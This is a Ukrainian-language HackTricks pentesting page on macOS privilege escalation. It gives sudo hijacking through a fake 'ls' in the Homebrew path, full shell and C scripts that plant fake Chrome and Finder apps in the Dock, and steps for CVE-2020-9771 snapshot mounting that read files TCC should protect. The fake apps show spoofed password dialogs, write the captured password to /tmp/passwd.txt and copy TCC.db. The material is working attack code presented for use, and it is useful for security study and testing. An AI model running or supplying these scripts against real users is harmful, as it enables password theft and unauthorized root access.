# macOS Привілейоване Підвищення {{#include ../../banners/hacktricks-training.md}} ## TCC Привілейоване Підвищення Якщо ви прийшли сюди в пошуках привілейованого підвищення TCC, перейдіть до: {{#ref}} macos-security-protections/macos-tcc/ {{#endref}} ## Linux Privesc Зверніть увагу, що **більшість трюків щодо привілейованого підвищення, які впливають на Linux/Unix, також вплинуть на MacOS**. Тож дивіться: {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} ## Взаємодія Користувача ### Викрадення Sudo Ви можете знайти оригінальну [техніку Викрадення Sudo в пості про Привілейоване Підвищення Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking). Однак, macOS **зберігає** **`PATH`** користувача, коли він виконує **`sudo`**. Це означає, що інший спосіб досягти цієї атаки полягає в тому, щоб **викрасти інші бінарні файли**, які жертва все ще виконає, коли **виконує sudo:** ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc fi /bin/ls "\$@" EOF chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` Зверніть увагу, що користувач, який використовує термінал, ймовірно, має **встановлений Homebrew**. Тому можливо перехопити бінарні файли в **`/opt/homebrew/bin`**. ### Імітація Dock Використовуючи деякі **соціальні інженерії**, ви могли б **імітувати, наприклад, Google Chrome** всередині доку і насправді виконати свій власний скрипт: {{#tabs}} {{#tab name="Chrome Impersonation"}} Деякі пропозиції: - Перевірте в Dock, чи є там Chrome, і в такому випадку **видаліть** цей запис і **додайте** **фальшивий** **запис Chrome в те ж саме місце** в масиві Dock. ```bash #!/bin/sh # THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON) # If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%'; rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null # Create App structure mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources # Payload to execute cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < #include #include int main() { char *cmd = "open /Applications/Google\\\\ Chrome.app & " "sleep 2; " "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " "echo \$PASSWORD > /tmp/passwd.txt"; system(cmd); return 0; } EOF gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome # Info.plist cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist CFBundleExecutable Google Chrome CFBundleIdentifier com.google.Chrome CFBundleName Google Chrome CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF # Copy icon from Google Chrome cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns # Add to Dock defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' sleep 0.1 killall Dock ``` {{#endtab}} {{#tab name="Finder Impersonation"}} Деякі пропозиції: - Ви **не можете видалити Finder з Dock**, тому якщо ви збираєтеся додати його до Dock, ви можете поставити фальшивий Finder прямо поруч з реальним. Для цього вам потрібно **додати фальшивий запис Finder на початку масиву Dock**. - Інший варіант - не розміщувати його в Dock і просто відкрити, "Finder просить контролювати Finder" не є таким вже дивним. - Інший варіант **підвищити привілеї до root без запиту** пароля з жахливою коробкою - це змусити Finder дійсно запитувати пароль для виконання привілейованої дії: - Попросіть Finder скопіювати до **`/etc/pam.d`** новий **`sudo`** файл (Запит на введення пароля вказуватиме, що "Finder хоче скопіювати sudo") - Попросіть Finder скопіювати новий **Authorization Plugin** (Ви можете контролювати ім'я файлу, щоб запит на введення пароля вказував, що "Finder хоче скопіювати Finder.bundle") ```bash #!/bin/sh # THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON) # If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%'; rm -rf /tmp/Finder.app/ 2>/dev/null # Create App structure mkdir -p /tmp/Finder.app/Contents/MacOS mkdir -p /tmp/Finder.app/Contents/Resources # Payload to execute cat > /tmp/Finder.app/Contents/MacOS/Finder.c < #include #include int main() { char *cmd = "open /System/Library/CoreServices/Finder.app & " "sleep 2; " "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " "echo \$PASSWORD > /tmp/passwd.txt"; system(cmd); return 0; } EOF gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c chmod +x /tmp/Finder.app/Contents/MacOS/Finder # Info.plist cat << EOF > /tmp/Finder.app/Contents/Info.plist CFBundleExecutable Finder CFBundleIdentifier com.apple.finder CFBundleName Finder CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF # Copy icon from Finder cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns # Add to Dock defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Finder.app_CFURLStringType0' sleep 0.1 killall Dock ``` {{#endtab}} {{#endtabs}} ## TCC - Підвищення привілеїв Root ### CVE-2020-9771 - обхід TCC mount_apfs та підвищення привілеїв **Будь-який користувач** (навіть без привілеїв) може створити та змонтувати знімок Time Machine та **отримати доступ до ВСІХ файлів** цього знімка.\ Єдине, що потрібно для привілеїв, це щоб застосунок (наприклад, `Terminal`) мав **Повний доступ до диска** (FDA) (`kTCCServiceSystemPolicyAllfiles`), що має бути надано адміністратором. ```bash # Create snapshot tmutil localsnapshot # List snapshots tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it cd /tmp # I didn it from this folder mkdir /tmp/snap # Mount it, "noowners" will mount the folder so the current user can access everything /sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` Більш детальне пояснення можна [**знайти в оригінальному звіті**](https://theevilbit.github.io/posts/cve_2020_9771/)**.** ## Чутлива інформація Це може бути корисно для ескалації привілеїв: {{#ref}} macos-files-folders-and-binaries/macos-sensitive-locations.md {{#endref}} {{#include ../../banners/hacktricks-training.md}}